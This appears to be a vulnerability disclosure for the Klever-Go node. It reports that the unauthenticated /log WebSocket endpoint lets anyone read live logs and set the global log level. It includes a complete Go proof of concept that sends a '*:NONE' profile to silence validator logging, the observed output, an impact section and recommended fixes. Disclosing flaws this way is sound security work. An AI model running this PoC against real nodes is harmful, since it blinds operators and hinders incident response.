Klever-Go: /log controls global node logging

curl -i http://127.0.0.1:18080/log

Observed response:

HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to /log without authentication and apply a global mute profile

Run the PoC file:

cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

package main

import (
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/gorilla/websocket"
)

func main() {
	url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
	profile := flag.String("profile", "none", "Profile to send: none or trace")
	hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
	flag.Parse()

	payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
	switch *profile {
	case "trace":
		payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
	case "none":
	default:
		log.Fatalf("unsupported profile %q", *profile)
	}

	c, _, err := websocket.DefaultDialer.Dial(*url, nil)
	if err != nil {
		log.Fatalf("dial: %v", err)
	}
	defer c.Close()

	fmt.Printf("connected to %s\n", *url)
	fmt.Printf("sending payload: %s\n", payload)

	if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {
		log.Fatalf("write payload: %v", err)
	}

	fmt.Printf("holding connection open for %s\n", hold.String())
	time.Sleep(*hold)
	fmt.Println("closing connection")
}

Save the PoC as poc-log-profile-control.go in the repository root, or run it from any directory with access to the Go module cache.

Step 4: Observe the validator accepts and applies the unauthenticated profile

While the PoC is connected, the validator prints:

websocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]

Step 5: Observe logging is suppressed while the attacker connection remains open

In my local reproduction, the validator emitted:

SLOT 14 BEGINS
websocket log profile received profile = [pattern=*:NONE, ...]
reverted log profile profile = [pattern=*:INFO, ...]
SLOT 18 BEGINS

The expected slot logs for the interval while *:NONE was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.

Step 6: Observe the profile is restored only after the attacker disconnects

After the PoC closes the WebSocket, the validator prints:

reverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]

The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.

Impact

An unauthenticated attacker can:

• read live process logs over /log
• mute node logging completely with *:NONE
• increase verbosity to *:TRACE and force noisy logging
• toggle correlation and logger-name settings process-wide

This affects both confidentiality and operational integrity.

In the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.

This issue is distinct from:

• GHSA-jc6w-wmfc-fh33 (KVM read-only execution side effects)
• GHSA-87m7-qffr-542v (MultiDataInterceptor remote OOM)
• GHSA-74m6-4hjp-7226 (MultiDataInterceptor throttler slot leak)

Those are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.

Recommended fix

Immediate

• Remove /log from the default open: true route set.
• Require authentication before upgrading the WebSocket.
• Reject unauthenticated clients before any profile message is processed.

Short term

• Do not apply client-provided logger profiles to the process-global logger.
• If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.
• Enforce origin checks and, if possible, bind /log to localhost-only or a dedicated admin interface.

Long term

• Separate log streaming from global logger configuration.
• Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.